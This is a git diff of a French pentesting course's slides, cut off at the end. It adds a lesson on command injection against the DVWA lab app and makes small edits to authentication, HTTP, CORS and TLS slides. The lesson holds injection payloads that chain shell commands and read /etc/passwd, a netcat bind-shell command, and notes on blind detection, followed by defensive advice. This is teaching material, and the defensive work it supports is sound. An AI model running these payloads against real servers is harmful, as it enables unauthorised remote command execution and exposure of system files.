zkpXUyZg9yn5>n6eyQ+pp*GNKG`@U7Ls%d+TPjUVQogMF(CPS{TaDvw02x<AQ+0|l<
zCES1EzXjD5DDmF6^w<%3N^oa-={R8^IE;{O*`+!u3O381Q3^fD9W=buj@5!88XApv
zX57fXX#I$HOaPl6o5*&Y<ELe|8yLptTY-~@1BF^3@xChOyBkp^c*lZP#Gg}~<WznB
zuhofSe227XJrN8UCO8?gydS(C=z8f!k2?SA=hcbpL<v$$3>Nu_{c3NkQ>kcnBR3s2
zTFTCRpie!Jl^-mfy3dJ3yZ8{+VK-e$Kk}lROTlHdYudE%+FvulYX8Cxgkgr*xPxr3
zqh6eje~bR;R<brv(}i}37{d>r8@R4DfOu01oxf2V6)qIHFG!UX!Ct5^2pZx9Sns<^
zHd@`C53AAdLEft1x_ceXknzoq8VAz$SBsKiz}41grnP_a3J*PI<~Pomeq%91!c+d|
zs(&>PvSAUXn+BUnj<;E!(d(CvZ)$%pk7n1qT`yd{-MH%a(RO({##pAuR8asYuQPCO
zY5q~W|7EWsAQ;YQ8DgVQBD^Z^CCF_|goSUT6P<(A;Aq$1nFhr~%&0{FwgQG}V=4W>
z+*0?DC<tEOh><@#=-ikyeTTD!fKX;VnaDRkPR_hh#+x#QhC3$+(j=b;^{*f8PJk4d
zj{cdR=lN@dJv2inZBn23>cL=^2N@UUIt#tw-w`#G_$Y&7Tj=njep37xCK!+KHid1a
zKY7xRyzAAn_(tIc6R3M#J$hphvlm_*I8792)owR%tZ=fR?4b2RNkPzTtnQeB&tPb(
zQmWr%i=Gv_E>z0JaBcPPNbkKcJ>Ibz{8sYC>2rvCVN|NPP+Ek|frSH!x7UDmP(N&0
zG9;Nd#=0iUt6?YBBFOsfMl+o^GTx`c9;H-2HS|yGT*unw!O#vwTgrK~a<Ka{9}hhj
zIvgu6Ee&>u?gk7gwo;+lLzYxnR%a%uV5t{AsHy*+^>aLo+uLCx@>%g=a25)I0Rqs2
zc+*C)@9~qjYEXms<pH>Cs{7emofFaR&}R7QHwIxnW4<+pcPICYLDSA#;L|$LCUp;e
z3yDU5C3j#-O~;?Pz<e~d$6a?%GG=%fXwsZVDZ%!FC8jXRNXH=5zpFYd22VS|WnIX!
z{lg$)aDKAKJ=7!Uug6e(o1Rh!A6&dICBs?yV}LD;wlx-aP9O|5g!PQZ@E#^J{P%M_
zTn{u^@@-1S;2>IwbB{bQrB3zWOAq4hai5g_)4Qx&vmug}B>{uW7#pieZvAHhl9oq`
z^^DYWmnU0yKS+Xh3YUCKo~yV$4|$%OM!vTDM-Qj>^x#WR<D%?Nso7)mjy1StuT2m%
z7F+vTf*sWyF~DSt)Ef>4-=5%NGd`5Is<6vt=MZvF&&Su3c$0cs>u)<JEH#|LR;aLn
z&22KT_h8$f1#GdQV}S48O8@BXw@X6afo7acQw(BUvm)e3plww?vG}i;^LyUPp2XX0
z;E`hsN6g^X`n17CIJ=r^p&kAfXc7)wm`up87p}EI9<RYA&3Nopv{73F5ra9jbgY*T
z4?+-cTHla5`VimH40?TS4W7)~SiNDbGS5S^DUjSCVzIu%!fkGIwb2eBUrhlQ{mfVp
zgL}usPp?h|yHX(JmQs7%`3INE!*Z#BMsXIl@6hLwFgeF^Yt7xLmt0H3qn*KKUDK9W
z1N7ciiwaKB+26~o@DPSgVwAWa`N77g7YCkIpaw&pyEsrykK?@^?ZJnG!f_T!Hfk+=
zO-V{S%{n&MeWC-W9T;1d{_kg=Gi6VQ*bFI*#5324k)?ZFJ<J{VDqKLmX%1spmYK9k
zz2Ue{YHjs*ytQna$@;EJLvkOx<{sqUP>qG+(zGk)vA-@DHMG%Is4&L4bps==H!nI2
z78@e^^}^RZyt7@_H)SXuMvEd9j(r%jJCye$oDeg}!MjWM4o}PTsCRC4^A3M4Wl*xn
zpxS0LlBjc74wPEyJY#J;XGcZU^Azrne|#Sz$w@qbJ%!Q_hwEZBSX|OZy5aOdqeA-i
z!l8GslN@BdS7-B3l?1O<=ZA;7?$+3ju*5USfv*(`Ls@=NM};kHqeLSKSf|uW8nrM~
zzwm+h_4O*#-|<#R-EAEG+_-ImqOw%{M?x<R3vVx&hrhV+ur<`zNCQtHj}!iS`b4u)
zq1ZH(iL_*C2QC@b4=_WiZ+RoeeQ5k2!k-wyP~B5F@Bv$f6N~IYD3jyK^?BRD$~?b!
zD#)cAuFif-L~mW#gjKy~!;%uBl{oLaIl_h_p^0Y%F1mH*geAjRf6+jRvv^V;naab$
zzjnn&#$rm3-h)G!644-N)-zJw0A^UjEJmbwf;&8xghM3P+ynD-|ArdQnllfAMspz}
zR3hyc6a~F<XvT|NNhXvaDjc#*;?|Sn4hdSR@*RifqPX=#6Hm;P`t!xoo}we6cl${K
zLWMj}!LH6ZHs)@dleNY}7*CyvVc{mTGA+(k*=$Djr4z?lr;I8)&X?{eOhvFgBS^gM
zf<E=lg@@FTqLFJ53T)$CoT^h-V>$vGqu;FXH`t(<j6l6G_4cp(`JJKJK%R1}v*Wf3
zXiMDttZ(8*ar8zY-cI*+d*+Dy5ruN~P`yNk0vEG|N>i)xTaWWjd%9jylo|x>Kr_L5
zN`2j#I1ml`hC@fE>~P@$9wO;@$IPzEv2V>hVpRi2!e$$f2EST04o_peC9Pr{>o$HL
zh4pP~7m}>Ky`DJdjIfEy@HcaIEvxuo>6>>r;pS*-h(x>{+Q@q!IPneLRn3b-#4zUw
zC9?bs=@$K^b(kHD9BG^@J)~YZc{qq(3L2ZOC_;pVBn%@)O1FRML1a%P&PO7im|Zpn
z{rS1$Dr6vhr}T;|C50mE*^YGC+tzC>xF7vOb(MO<3lr^xw?cReHa%BSC)_fil@yP$
zo6^-`cgC(FVx-eG&JOEc|62GqGMqf2ttfCNmtcI8T+sHZ_IHvoCI(@Hk8>rwnbLoW
zc6cx0Rz?U+z&U`Hz2-$K-}?TycUZe33frh5c4h~%^yo)QbLoI=@PmS(#Cbf4ViTQe
zKTS)yK}0BfHCxrikj-s{Id5=-tjh)_DEGCtBHo$CD5=a=KKNiMdKHmlJ9oO*+SlK<
z^sT7pB?Ff-PvHU_Iz97#6ignTUvHdtSsQdla-}-Yf=x_P?#rm?=Z-nIefi&B9Lb*b
z5F@Dgn;4n7b*^G9!(c0vF<i>lrb(d&;RYq=TH*Qi@*yQmSOY5_T-LD>x3A2Z@qK<u
zN~PkzOsU|6Wd4Xn9wXP-+i%<WqM;-g=xm(~@FNalS5pf%Z|>3hdvMU4Vm?GW$&u6V
zymf5C?aP+!$JHz>-M;@9?sDQ(67LBK=6TP)>N^>0=xQF|QP1#04pbB9dtJi!_h8!h
zaEzrM?F@=`-W>KuHsSPTRP?148tsl;{E-LaogZ)gj)DJk=iIj#!bSvs5XuNo=gg)d
z#?PJ|1RC`U8w0}!!s>R>;q4^0k&S)Qt}hrx<@S#}6!-L)3&)Izng3uxh8vOGj1t1-
zoKxKxuUXe?U=UVq^Jmp&;Wi%|oI&APvRm2GH|_eff-AE0zlfc)Gxmx_LEn0EkCNeJ
zk@9Q5gv)j=LO1P@UHjSpjBYFZ%@&V(?TIf2Nji^q!kJ7`>T{l=uRsD<N%<40TjOgq
zF^MNe%d~UkFBcZAW$@=!`#=f9)3_Mz6A09xUjN+-8csX?di~Yd3ogR8WuzT|HX`MD
z^}qJGQ?cW(`jB|S`1g;00i~8n=6SkaiSu|mDIA&yT)KRUj^4`-8wqX0&rZjMCe7K5
zQRs8)k^Tl*ag|#9?8$w>Tc`vhesTcw1#7zOe&pn1%0J1;P#{z&aSqRBwCdSQmU`g^
z&Ds+1<m&W4&t;5r$x&QZ+Mz9b>0xKrKbLld-|)NxePpHB=}x7uy{q_Vu9H+Sd}GsL
zLs*B1LbJpq&t@x5$IAKm)Qc7>O2{SP@ijYxW<6)2C`FEjZl6%>3q~|$-v8Af?C6>G
zGYEaTyNn=WUH^C6ezD+6k7UasYD1&yTP3?_ROs#*awzWOVJh`)sX9G+$!^HkURpTL
zLIQq0Ke%Mr$Rrg?k$R<Qyw2WU!2PKmV022A{`S+a>Xp^K7y3#tD`qMs<;8zI^@@Do
zu4IEEN0tm0-kfZSQs~X%g(5bWFu?;Xkg9sR8hKaRKLz(BYR_v}4*}GRZ^ar$*g}p%
z1X*XWNRdWiVbC~K`V15G`mdx|F8wodZ=X?EeLDD!>{OGRpM2xyE2XbpSTrMylcVu?
z1Sm1vkuuDu57me?gJOgQ_VWm;x|2<}{iXftj8C{mt%eiK`{*xmUrWJ3v5EB%afr>3
zuS=EMqp7gi$5svoz!)ig_0$`mdt$mzcR}AXOH*oE|K<7i4>pXuF{x*Oan@m>oBWXm
zu+YqLs%tkp{c1uE;SnBWkxcbl|Dm?u40zqnFq~wb*6r!yn-iKm8yTZgH=V-uY=pee
zuqwDLQXtM__h_f2I8%P+o}c!=db017chh=@_4_|5T-RGNb%SA?^$0GlB=KU6*RkIB
z9KRP%fC6RC<9VE2bu4!?Fq)mraSV@c5H_>~$j2898pTG=VT57?+JP{_2!5}nMi?U(
zqc1frwxTQ7?)hmy)@-Af31CVcvM&7I)@Kky=4rBQ>2aEuqci*)ugGCI#9oS|sw%ag
z+>0lod-X%moT#b@@t;qHQMQmnQ*QH5_Uc`hG2icNy)(>2bUs&UXGE6nJovnq=>E)#
zT0ati5ix&s#<u+vBRWR1+AU-QZmY(k$kB+qOB>RpsqiolQ^cax<Zey&7_HuL5RNk!
zb2!l$GHhlHT{j1!ymag6T>jAfw@_j(LVv2~8j<pB>8X1T_dm=+0z)l;805W27d~XP
zxY2?!HR-DRquWv-sc!-og&;zOC4`H34%-mQExFG%x-ED;>Dg5iE48CwaIx9Qxr|e(
z#}!9uH{FAFwKCyrtisj0{J}j(lc8Ng#Dgip9ev-y?<m_;or+=Bml;gek`1~R17wM=
zRv3ybF~;RQlQXa=wrvORKeyYhuBff69zj#>5DXPktmjE=MJP~<uZ+^NBGvJopDvsU
zS!-Pnb}f79o8|)~ma!?Zcu6B-e)9#Fe`fvJMWaGHlQn0M>**#CiX4kL*fwC1Lvw`3
zI7)>y77ZU?XN~ROnAoqlpgGP$h<97iIAj=SoIGw-tMgiq0)sF?I>akgVJ3=4)3NNr
z!zXv#dZ!7QXtp;JOXMzQ%D(AePyYFWV-Y@H#Sku{ub*iVmj%jf<ykz7b4gL8*=f@`
zp;Y^(@jD*8WkJ1?oCyYp44XKcEo3OxlTgI5hgI91>Q+anWdHRKB2J<FzFY5nv7Hp{
z5+oj=jWzSB1K(6ul<o~@#ZZMs9M0hBJc}m-OE@hLrSk!4A5unz>A6RmrbL=;Y-1}~
zN|f4?P)2Vt+^lRQgUVnn+|Dgi_8kcZgCzRgg)dlljh_9FlRxL^aFljAqrRI(P`&*O
zwKW(7n>0}52!}a^gX)+M?zX)_KW(4rSQg|-Qky)JWKp<nE5+i{PBC5|YJ=)1GaGVN
z*=SoWeY^5X7WVYJDOw8>-802-n|lB3$xqE{30bd%$ZllXtkSp;phAH%8P4Z&p2G!X
z&^WkgsLnQc7H?;tq9)#GF6pK5mg)?$XHjQ3gL62O9ELLG1ZY<qwtLqhJ^gr%vqhC0
z=M#Hok0zYyG4YXZN=@qzTsQu%bSP3AGHmTxMsbt{A2&f<7!)=sz~v+dn5Te?i(u27
zVLq9gBY1wjnW}uvl3_h53<k$1vaX-2)MS_pvEuhsU_@V&3ZgZo=`Z|ozp*Ht7=(%?
zm_OaUZHIBg*aX7H9zm3f0!Nd5-SFh7g+&_0BD2hJf+Y&Ls479c{c>v|2vJd!pEa+c
zut0@L(&SJ$=&GD;?^VB7rI_gPiuQ6KH=XM$YvD6rcwJJyyVhO|0K2WPod4`wH(a1Y
zY(iy7vl%<UL2NkQbNy;R@T8x{u*h*1S!9U{4h~>fDOd|lZJhz=B&1La+H|Yur$~_{
z&o~nt<}eDUX-CCYB=K|&X~qKYmS!$+sBLI>qDl`Qc*W+&`U&{#hJid!BVwjrvgNZA
zTPyU|_B5kx>T=TsILU0Xs%RSwo>t(+uNjIISY(L;1r{k#z^xKcs&cFmV%n_6Yp6@N
zEP3+e$T7kQS#p3wk$XARW!4}Wk>aTdImWuwD8L-WfS0`fNh>KmUU==7zcmPXH!yF;
zls)ad_YLbll`|4zgJr`g>qvDBJ%VP2`B+0;RMZ^Bp8WGZJCvwUp+tcq4rMA-s5vca
zZfHRvSfogiCP$hqX;RgYR#gqc)PTa_Cmi(AK$4@K_d8GC$3yCcMTMgs;=0Ax@A;b-
z+jk5k+vA{~s4_;ZsgIp?Rmw<+Ry0}07@;{h+fZbtkHE!v@P<^6P6`WE)%9wLzcnt6
z1mJ?_w6&^wp;X;7o(AXA$QA9ys#v(}Ym<7(nM}=}Q{+iE-A%zzW~sg(W?&7*fXsdD
z%WpMC29#=ja8Ff?Tu167=Uii)FmuuxMVc&GY@kA!0%bzF0|y50Q8b3x+F%QfTW9M3
zH3k=|Ps;z+DqQw+uqiq?$)2{tCR0@s9309$oG48-IM{O^{nFcZ%g#i7cg+}}IPvE7
zKJb-IzY@;AZH^Q1WX>|=LF<BWbEjd~hZyeX5UHN^g-5q~T8*KQHMm$yU;M%j!3=Ph
zmH`R@F$~W06fslE$f;|O{K&P!iEF72TeX2}WuVzzEP?;R)~C3LGjS8sU4y2^!u762
zyR!;+ajlVS2bvgXz)#nRn73Yj{_T^a%BbXKn1_VH^;e;}pM!NXrXTd*%O=_xq%`Ng
zX!nnji$n3pfK@0lQ|iNa7G6KMWXy0k-|Gj1&n)U9T*O&@OTGSkX<BJ#D)Z)byMHt_
za49i_@$Bl<uFAWAZDMy`Suq0Rhl}{pchOt2&^*v&X2hwZ|6VkGHi+XEc7Ey0Q}*=0
zH_R9c5pGCbQ~8TmXFfNo)N-4tff%kxHYgwGN|f`H=tKRJMwPVl8+*QRb!yiTvONxk
z2G>-k>_7NI>9vcFQD)f^`~+k0NxR!27%VR4j7W<YYe<@QqAC^VwR^rWWe<aP!-~Vi
zlX}-*mHVr7Zly`R<yAcehy5I?$Hjz0^0adb#kcLbaX8WrhDbcP-M+&4%h%*@%%o+-
z=z1%`-ccAH;PD6+Zo;%Ph+C=r*5^Mn4Bf7Vp%UPR)HRh4{+G;0vl$g)26wPn36!fr
zaCoq)>xBt1?H|pwGf;Nl{F$4cmAY$)nY@QO=v`Bpvj5ws=H9TRUCeT9hDP`Z;$gyI
za}j4yCRh?A)ALpbiZP<~8$NT>i|t|3Zpg%gX=f_^KXxy^X31z7u3vBE(X9c4i{b*#
zAZV|WWFuGrj4`5=dhIP=m`V>O2BkZeLF`PWr_1mDwUJxKb5`iJ8U0|T(yfMCOrOHA
zud81#`B`19QB>4xZ`!>hy{Eq&M`K_)#yh#ezNYe?U(J1LV$2?(g*!OHHHUvT2ZqM2
zsRo6^103<8Uh>jTYm_R>8*cpk)u~;vHihaB%cSD(wsyL2z5GeLHa)|*lK5_XgS?Ag
zuxJXa8e!*Dy>Q9ooe~WDInd@@8NeXxV)4_FYd-w7VOp}yST@^ox3$xK$0Zxzv;J4m
zB1zb|!+2>8kY|i^JwVi<%mPb9zm@*|RXFVDFc!`0-TFsUJ;rFUod3Q4+7Eqihc$@x
z6k)KOP7Q^IcYkd2HI}wQtj*|#;f)don@L7!4a!v*7C99<UvsUlZV)sNav-F0C30)V
zb#2?ZQQmrU(R%{RgXNq<&{N8&cfRS+#|ui7)?pr-U%shf!H}wEfNFhO8p9|XL$3Sn
z-D`uzg>0dcP`qBFHNj|CGPb_u(^uVGnp#HMEw97_klU@_NdNw?W#6AaL%H3uOsy2V
zbW7JfeFiJk>ff+46AfLjUo^MqYLuMFzT@QIP)If*MRY7T@j%2F-gU*q$2VMnR%)e?
ztQCU8MkabJJU_+BK)DxXF4n^3f!L8Nel0pWt<1yj8*l!4ZCS!{V)>`*&9!Q`^(VJ~
z@5-Z}FDQqV8NH&(kncep!zh`q)QqMS2rjA`DjFZnVE`_o<ksw~ZvOfXYw%&7y|Mff
zuL*xTJ^GH(ly=q1S#SY(G+4*F5G7AB>yx`Q?o(E1?yFk3(b2S6Q7a4AdGDvMjoFa_
zU`0J(n0n*nZ?1d3gL189+IGGhHZszaK*9pY+iq!pSD|otkOMJRq}A8OX^o|v|C{^V
zuIu~iO2SxC#4}1Xyyu@LesK)9Vx?9R^@4NLdr%ZP-1c3+*AQ=6P;FL4JI1y!-@NGx
zFOOHBok<WYig>Wwf}Pp-zb^mZN6s^jvX(n|%7Z~wE!toxiX3UOdy@%Z5?mhQVBMu0
z<{SWHv}@V=(bR|3r_Y%ACc_Q`2*!$du+1=H8O>{6c-i#&D?m)*^Jy`$H3ad5B1aSV
zEk;`wR3BoEMv44;=1)HM4=YXDL7%%f4gz9Ox2r3@oqqKNzcczfqvH<tFmm?vfT2>~
z8!ZS<;<T$-xEDfI>UBrMoX~=pvi)KG7au)zpPkHJJjr6&AE`f#5{<n74C|}8XJrx8
zvXW15nP4(R$&<cTZNI1mA>3C@e9^rWcnNnja*w(4yd%@j(AH~4#Pa*`d?DHh<_{14
z{m;(*{=&%$uIO&r42J-NQ0SS3S#T)~;5pZVu!M`))-~}?wN+P(E9#Va=RME-^nqz-
zYM^N-`oRj7cvXl&%%7Z{xgq`Yla{N+^uG^y%#Pr&fptA+E>0wvso6twZ3<JBdad-X
zQd4V`(%9eRzufo;?Fmd*7*;m%fF0Hz_p)`bdR_h%qp!@sGFrOAW^!HRp21=%@l4Hr
z@p^7c&{Vygab2+m^=<vt^`H97<I5NB6c#I<c#V0*_r5Lv_OT~vBRaJ#&SitmMxPC^
zyfog69FG_n)w?}EC^Y+97DF10>#DR=4rOk7&If+`Br9Cjc~}L+1LSJ^23Pd^o>6|w
z<m*N=uC^r7_CX23i^t2ig|R6#OPuU$R<*OG?ne|Z4|1rQa!?!BD5V{>o4>mGyRaj@
zCr)C5p<{Ir52`CQcBG$iS@HKa|3<2wBzCwkK#nm|r0`PC#*aV_Y9si#0`BJ!R&`f%
z>z~tq{`hzQVF@+G%5$9fWAzXZFI*m8oPF8Pr+#PTr8!Yp#te07cx~H(6m|k@F8t~b
zSIROK9+0Cb)W4VBv+edjpNAdRa>v+3!Kxx2AX74}VamRF``bR4{<&P*#w4_6qZe8i
z-!!6nhbQZ*r3^+Zm@nOb7a!p7cU53YO|RT#!@gK;#DgZ)`Q2|Cxib4gd%Z%m^s#EA
zH-@#4sAm~%(8^FbS@>4zU*7q#>es8lm}tjpBwh`Ifw#T<>^EgznBQze1*KH-p|vZ4
zbb>Kjqe)d*I#&Aj!4LoSH=w@d&?>}gCLTMim#b?kFm+|-*K#kLI8S4Yr9~wZU^}cQ
z+M9IR80{(%#q3WPzft+ppWF&l>3iLk?yC#JswN)54r@2!V*k<4tp7RpO}VFLm0(;u
z+HTEl80N~gU<j^pv{;6sF5M?L9Q(IF|1lL~?PN8R4o(B&0WxL%v15QgxM2KwnP0VE
zwqd-Cw{<}@<!88~R&UZdXbc%n&X;a0e`(>nfAJ6q*V@y|IB%U4P6y%v$ZoY)rXBdN
z<C`asz3|*Wv@gtLs~doZ+SF<V(aso*c$-$03gw3$egC=Ne)QB|&B2tt-3)H8o#Eni
zAszrz>N?|%uv6LjSDkUCby?;qRyKt}p}alse6DvnW<a`pZ4fOQp@JzE_PIZJ_}0yT
zH(dlUa-FOe=WrODR>T9U5iQ=wOVTgDY};FMmzt;LGC~S%l!JxTB;fMQ__jj4oSX(%
z+e#`J3MIK`Y44H0F8;8VkJyN;oK@`!;q)V30}X%QTk=n?ykvBfIdg(CS}VkWsNp})
zMr#5XW3<7DK~$O<tOJY3tZy#vpZZAq6`X!Jorwn+*`qee6%M@dqH{O$f^}z?uE=c{
zENrx)EJ`d90U7KwZpvQb>2SulMoUVRw_kT*Z~FGx$K~6HkAHX{+-@H;JM{7|x*jA>
zbK-fJvR}d#)zIDF+kWoP9J+ABD|5N>#ak>z0aqgmWrW()+hCr!F~%5NF<>l}#c<Tv
z_m-B9e|5`4kKcX$Ua!>c_BUCcjCI4s6M}dEQ);`MQbqN<C4m2V?nuhrwtnLHcKeNE
z=cC0+VWAO>5fmcHY+7p27^5+Gu?(6DxJE7hM1OMfo|!p0P%2M93h<#!R!{1^=5#V3
zg7AbPUJW~}m#a5d8c+AlXJ3?`&o91y^3r^&vXM(ht6QpjCa_c^PrOj1#?7jQ1~i8Y
zc%O8=gtu|BS5h+%ds8P$&g|Z?o3cy$mOlDe?JUJdQ@82W?huZOCmitrkST%fvR6FE
zGoYr@<D%8W&)+tgN>|Qzo}0TQn-!dlWXW1$S7ZMgx2riirTH6!L&ZqZ6jcdIrQ!qf
zoy>!k^0AX=en;s!GhOi_Multb?Pjlm)fQKh44#<8Yl4yMq~`tW#Iv_Q>#~Upv)jf-
zQpyMlr7dIWjFVGo$r_<ViLzY~M>%M;F_?wI{K2LD-~Pdm_Qq-PiGn9Q@nXSZV*AJi
zc`XMDKPa%s;&OLr^<j;8!H_9|du2z<mpimFjiFZfe9NNCJzVmH9YDiljd*b&08;|f
zHN|cXYgoe?*06>(tYHmnSi>6Du!c3PVGV0o!y4AGhBd5V4XYOa52_7y>S$S{+5i9m
M07*qoM6N<$f(7R4m;e9(

literal 0
HcmV?d00001

diff --git a/content/slides/1337/md/authentication.md b/content/slides/1337/md/authentication.md
index cf377a4..0b7650b 100644
--- a/content/slides/1337/md/authentication.md
+++ b/content/slides/1337/md/authentication.md
@@ -23,6 +23,7 @@
 
 
 # quelques techniques
+## du world wide web
 
 
 ## apache & .htaccess
@@ -273,7 +274,7 @@ Note:
 ## force brute
 
 * par dictionnaires
-  * liste d'utilisateurs + list de mots de passe
+  * liste d'utilisateurs + liste de mots de passe
     * optimisable avec de la probabilité, [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt), de l'ingénieurie sociale, du flaire etc ...
 * par recherche
     * combinatoire
@@ -351,12 +352,21 @@ unshadow /etc/passwd /etc/shadow > mypasswd
 
 ## 2AF
 
+![Google Authenticator](images/authentication/google-authenticator.png)
+
 https://www.google.com/landing/2step/
 
 
 ## Yubikey
 
-[![Ubikey](images/passwords/yubikey.png)](https://www.yubico.com/)
+[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
+
+
+## SSO
+
+![Shibboleth](images/authentication/Shibboleth.png)
+
+ "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
 
 
 ## <i class="fa fa-medkit"></i> Se protéger
diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md
new file mode 100644
index 0000000..99787aa
--- /dev/null
+++ b/content/slides/1337/md/cmdi.md
@@ -0,0 +1,148 @@
+## Command execution
+
+### [security low](http://dv.wa/vulnerabilities/exec/)
+
+* exécutrion de commandes arbitraires sur le serveur
+* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection)
+* triviale mais assez rare
+
+
+## Command execution
+
+* paramètre non filtré
+  * la commande est écrite en dur
+    * **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions
+      * exécutée avec les droits du serveur (thread)
+
+```shell
+localhost && ls
+localhost; whoami
+localhost| id
+```
+
+* le réseau est également explorable
+
+Note:
+- dvwa à brutforcer
+    - non y a le cookie qui coince :/
+        - admin:password
+        - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
+- ce cas est faille assez rare
+- il faut injecter des commandes que le server connait
+    - win/unix/linux/bsd/solarix/aix
+        - pool de commandes par défaut
+- l'enchainement d'exlpoits est laisser à l'imagination du pentester
+    - plus il est expérimenté plus il peut créer des attques complexes
+        - plus il peut aller loin dans l'exploitation
+- Regarder le code
+    - Que peut on faire pour améliorer
+        - DVWA Security -> medium
+
+
+## Command execution
+
+### [security medium](http://dv.wa/vulnerabilities/exec/)
+
+* les chaînes de caractères "&&" et ";" sont interdites
+
+```shell
+# Pour y voir plus clair
+1 | ls
+# Plus intéressant
+1 | pwd & whoami & ps
+1 | uname -a & users & id & w
+1 | cat /etc/group
+1 | cat /etc/passwd
+```
+
+Note:
+- approche liste noire toujours perdante
+    - liste de caractère à échapper
+- résultat visible
+    - affiché dans la page
+        - méga rare
+- aveugle
+    - certaines pas faciles à détecter
+        - adduser / mkdir lors de la création de compte
+            - un username se terminant par
+                - ;cmd
+    - ping réseau
+        - on sait si ca a marcher avec le temps d'exécution du ping
+            - si ca rame au chargement de la page
+                - c'est que le ping est en train de s'exécuter à l'infini
+        - sinon sniffer le ping de retour
+            - si pas bloqué
+        - ping -c3 127.0.0.1 pour mémoire
+    - résolution dns d'un domaine maitrisé connu de nous seul
+- Regarder le code
+    - Que peut on faire pour amliorer
+        - DVWA Security -> high
+
+
+## Command execution
+
+### [security high](http://dv.wa/vulnerabilities/exec/)
+
+* l'approche est ici différente
+    * on ne cherche plus à éliminer les caractères dangereux
+    * on cherche à valider que l'entrée est bien une IP
+
+```shell
+$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
+```
+
+Note:
+-détailler l'expression régulière
+
+
+## bind shell
+
+* injecter
+
+```shell
+1 | netcat -v -e '/bin/bash' -l -p 1337
+```
+
+* puis sur le terminal de l'attaquant
+
+```shell
+netcat -v dv.wa 1337
+```
+
+* \o/ nous disposons d'un accès à la machine i
+
+* avec les permissions de l'utilisateur www-data
+
+Note:
+- revenir en medium ou low security
+    - on peut le faire avec cookie manager +
+- netcat couteau suisse réseau
+    - permet d'écrire sur un port
+- soumis a pas mal de condition en vérité
+    - marche que dans un sens
+        - DMZ coupe tout le sortant
+        - reste possible dans ce sens
+        - mais faut passer d'eventuels friewalls
+        - et netcat peu avoir été supprimé
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php)  ou [system](http://php.net/manual/fr/function.system.php)
+* utiliser shell_escape_args() en php
+* utliser JSON.parse plutot qu'un eval() de JSON
+* utiliser des lib spéacilisées
+  * [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
+  * [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
+
+Note:
+- faire marcher le bon sens
+- Note le cron de drupal est pourri parce qu'appelable via des url
+    - utiliser le cron system
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* liste blanche
+* cron pour les traitements récurrents
+* ne pas installer `ǹetccat`
diff --git a/content/slides/1337/md/http.md b/content/slides/1337/md/http.md
index bdef56c..666d426 100644
--- a/content/slides/1337/md/http.md
+++ b/content/slides/1337/md/http.md
@@ -20,8 +20,8 @@
 # HTTP
 
 * inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989
-* en [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) depuis 1999
-* version 2.0 en cours de standardisation
+* [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999
+* [version 2.0](https://tools.ietf.org/html/rfc7540)
   * basée sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google
 
 Note:
@@ -64,6 +64,8 @@ Cache-Control:   max-age=0
 useless data
 </code></pre>
 
+Connaissez vous Burp Suite?
+
 Note:
 - Connection:  keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça)
 - Accept-Encoding: gzip, deflate commpressions supportées par le navigateur
@@ -289,10 +291,11 @@ Note:
     Access-Control-Allow-Origin: http://www.foo.com
 </code></pre>
 
+* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
+
 
 ## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)
 
-* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
 * autorise tous les verbes HTTP
 * remplace [JSONP](https://en.wikipedia.org/wiki/JSONP)
   * qui n'autorisait que la méthode GET
diff --git a/content/slides/index.html b/content/slides/index.html
index fd58101..0bd7877 100644
--- a/content/slides/index.html
+++ b/content/slides/index.html
@@ -32,7 +32,7 @@
     Pentesting
     <ul>
       <li><a href="1337/gathering.html">Collecter</a></li>
-      <li><a href="1337/detect.html">D&eacute;tecter</a></li>
+      <li><a href="1337/detecting.html">D&eacute;tecter</a></li>
       <li>
         Exploit
         <ul>
diff --git a/content/slides/privacy/md/TLSvsPGP.md b/content/slides/privacy/md/TLSvsPGP.md
index 5a77525..8e4ecaa 100644
--- a/content/slides/privacy/md/TLSvsPGP.md
+++ b/content/slides/privacy/md/TLSvsPGP.md
@@ -1,15 +1,20 @@
-### X.509
+## X.509
 * Certificat créé par la CA
 * 1 seule signature : celle de la CA
 * Chiffre le tuyau (TLS/SSL)
 * Confiance centralisée
 * Confiance distribuée
 * Forêt d’arbres de confiance
-### PGP
+
+
+## PGP
 * Certificat créé par l’utilisateur
 * Plusieurs signatures
 * Chiffre les messages
 * Graph orienté de confiance
 
-X.509 centralise la confiance sur les CA
-PGP distribue la confiance entre utilisateurs
+
+## X.509 centralise la confiance sur les CA
+
+
+## PGP distribue la confiance entre utilisateurs
diff --git a/content/slides/privacy/md/crypto.md b/content/slides/privacy/md/crypto.md
index 9361dfb..f151091 100644
--- a/content/slides/privacy/md/crypto.md
+++ b/content/slides/privacy/md/crypto.md
@@ -259,7 +259,7 @@ note:
 ## Signature en pratique
 
 * Bob a pu vérifier
-  * la clé à l'origine du message **autentification de l'origine**
+  * la clé à l'origine du message: **autentification de l'origine**
   * l'**intégrité** du message
 
 **autentification de l'origine** + **intégrité**
diff --git a/content/slides/privacy/md/tls.md b/content/slides/privacy/md/tls.md
index 3160278..ecd999c 100644
--- a/content/slides/privacy/md/tls.md
+++ b/content/slides/privacy/md/tls.md
@@ -65,7 +65,7 @@
 * **Serial**
 * Algorithme de signature du certificat
 * **Issuer** le signataire (***DN*** de la ***CA***)
-* **Validty** début fin de validité
